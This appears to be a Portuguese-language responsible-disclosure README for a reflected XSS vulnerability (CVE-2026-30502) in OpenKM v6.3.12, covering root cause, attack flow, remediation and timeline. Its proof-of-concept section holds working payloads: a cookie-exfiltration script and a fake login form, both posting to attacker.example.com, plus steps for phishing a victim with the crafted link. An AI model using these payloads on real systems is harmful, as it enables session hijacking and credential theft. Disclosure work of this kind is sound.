🛡️ CVE-2026-30502 — XSS Refletido no OpenKM v6.3.12

📌 Índice

• Visão Geral
• Detalhes do CVE
• Produto Afetado
• Descrição da Vulnerabilidade
• Análise da Causa Raiz
• Impacto e Avaliação de Risco
• Prova de Conceito (PoC)
• Remediação e Recomendações
• Cronograma de Divulgação
• Referências
• Sobre o Pesquisador

🔍 Visão Geral

Este repositório documenta a divulgação responsável do CVE-2026-30502, uma vulnerabilidade de Cross-Site Scripting Refletido (XSS) identificada no OpenKM v6.3.12 — um sistema de gerenciamento de documentos open-source amplamente utilizado em ambientes corporativos e governamentais.

A vulnerabilidade existe no parâmetro Content, que reflete a entrada fornecida pelo usuário de volta ao navegador sem a devida sanitização ou codificação de saída. Um atacante pode criar uma URL maliciosa contendo JavaScript embutido e realizar engenharia social para que a vítima clique nela, resultando na execução de scripts na sessão do navegador da vítima.

⚠️ Severidade: Média–Alta | Vetor de Ataque: Rede | Privilégios Necessários: Nenhum | Interação do Usuário: Necessária

📋 Detalhes do CVE

📦 Produto Afetado

OpenKM é um sistema de gerenciamento de documentos (DMS) gratuito e de código aberto que fornece uma interface web para gerenciar, auditar e distribuir documentos empresariais. É usado por empresas, órgãos governamentais e instituições educacionais em todo o mundo.

• Nome do Produto: OpenKM Document Management System
• Versão Afetada: v6.3.12
• Site do Fornecedor: https://www.openkm.com
• Categoria: Sistema de Gerenciamento de Documentos (DMS)
• Linguagem / Stack: Java (JSP / Spring Framework)

🧨 Descrição da Vulnerabilidade

Uma vulnerabilidade de Cross-Site Scripting Refletido (XSS) foi identificada no OpenKM v6.3.12 através do parâmetro Content. A aplicação falha ao validar ou codificar a entrada fornecida pelo usuário antes de refleti-la no corpo da resposta HTTP, permitindo que JavaScript arbitrário seja injetado e executado no navegador da vítima.

Diferentemente do XSS Armazenado, a carga útil do XSS Refletido não é persistida no banco de dados — em vez disso, ela viaja dentro de uma URL maliciosa. O ataque depende de a vítima ser enganada a clicar em um link malicioso (entregue por e-mail, mídia social ou campanhas de phishing), após o qual a carga útil é executada silenciosamente no navegador da vítima, no contexto da sessão da vítima.

Fluxo do Ataque

Atacante cria URL maliciosa
        │
        ▼
Vítima clica no link (phishing / engenharia social)
        │
        ▼
Navegador envia requisição GET/POST com a carga útil no parâmetro `Content`
        │
        ▼
OpenKM reflete entrada não sanitizada diretamente na resposta HTML
        │
        ▼
Navegador analisa e executa JavaScript injetado
        │
        ▼
Sessão sequestrada / credenciais roubadas / conta comprometida

🔬 Análise da Causa Raiz

A vulnerabilidade resulta da falha da aplicação em impor controles de segurança de entrada e saída no parâmetro Content:

URL Criada pelo Usuário ──► Parâmetro Content ──► [SEM Validação]
       ──► Refletido na Resposta HTML ──► [SEM Codificação]
              ──► Navegador Executa Script ──► Conta Comprometida

💥 Impacto e Avaliação de Risco

A exploração bem-sucedida desta vulnerabilidade pode levar a:

🧪 Prova de Conceito (PoC)

⚠️ Aviso Legal: As informações a seguir são compartilhadas estritamente para fins educacionais e de pesquisa em segurança, sob os princípios de divulgação responsável. Não teste ou use isso contra sistemas que você não possui ou para os quais não possui autorização explícita por escrito para avaliar.

Exemplos de Carga Útil (Genéricos)

// Prova básica de execução
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>

// Exfiltração de cookie de sessão
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

// Overlay de phishing de credenciais
<script>
  var d=document.createElement('div');
  d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
    +'<input name="u" placeholder="Usuário"/>'
    +'<input name="p" type="password" placeholder="Senha"/>'
    +'<button>Entrar</button></form>';
  document.body.prepend(d);
</script>

Estrutura da URL Maliciosa Criada

https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>

Passos para Reproduzir

1. Identifique o endpoint vulnerável no OpenKM v6.3.12 que reflete o parâmetro Content
2. Crie uma URL anexando uma carga útil XSS ao parâmetro Content
3. Codifique a carga útil em URL, se necessário
4. Envie o link criado para uma vítima por e-mail, chat ou qualquer vetor de engenharia social
5. Quando a vítima abrir o link em sua sessão autenticada do navegador, a carga útil será executada
6. Observe a execução do JavaScript, roubo de cookies ou comportamento de redirecionamento

🛠️ Remediação e Recomendações

Para Desenvolvedores / Fornecedores

Para Administradores de Sistema

• 🔒 Restringir o acesso ao OpenKM a redes internas/confiáveis por meio de regras de firewall
• 🛡️ Implantar um Firewall de Aplicação Web (WAF) com assinaturas de detecção de XSS como controle compensatório
• 📊 Monitorar logs de acesso do servidor web em busca de tags de script inesperadas ou cargas úteis codificadas em strings de consulta
• 🔄 Manter a instalação do OpenKM atualizada com a versão de segurança mais recente
• 📧 Treinar os usuários para terem cuidado ao clicar em links não solicitados para o DMS

📅 Cronograma de Divulgação

Os princípios completos de divulgação responsável foram seguidos durante todo este processo, incluindo coordenação com o fornecedor e engajamento com o Programa CVE antes de qualquer divulgação pública.

📚 Referências

• 🔗 Entrada MITRE CVE — CVE-2026-30502
• 🔗 NVD — National Vulnerability Database
• 🔗 Site Oficial do OpenKM
• 🔗 Folha de Dicas de Prevenção de XSS da OWASP
• 🔗 CWE-79: Cross-site Scripting
• 🔗 OWASP Top 10 — A03:2021 Injeção
• 🔗 OWASP Java Encoder

👨‍💻 Sobre o Pesquisador

Dharmendra Kumar é um pesquisador independente de cibersegurança especializado em segurança de aplicações web, testes de penetração e divulgação responsável de vulnerabilidades. Sua pesquisa foca em identificar e reportar de forma responsável falhas de segurança reais em softwares amplamente utilizados — contribuindo para aplicações mais seguras para usuários em todo o mundo.

Áreas de Especialização:

• 🌐 Testes de Penetração em Aplicações Web
• 🐬 Caça a Bugs e Pesquisa de CVE
• 🔍 Descoberta de Vulnerabilidades e Avisos de Segurança
• 📋 Divulgação Responsável e Relatórios Coordenados de CVE

Conecte-se comigo:

⚖️ Aviso Legal

Este repositório destina-se exclusivamente para fins educacionais e informativos. Os detalhes da vulnerabilidade e as cargas úteis de prova de conceito são publicados de acordo com os princípios de divulgação responsável. O autor não endossa nem se responsabiliza por qualquer uso não autorizado destas informações. Sempre obtenha permissão explícita por escrito antes de realizar testes de segurança em qualquer sistema que você não possua.

🙏 Agradecimentos

Agradecimentos especiais:

• À equipe de desenvolvimento do OpenKM pela cooperação e receptividade durante a divulgação coordenada
• Ao Programa MITRE CVE por atribuir e gerenciar o identificador CVE
• À comunidade global de pesquisa em segurança e caça a bugs por elevar continuamente o nível da segurança de aplicações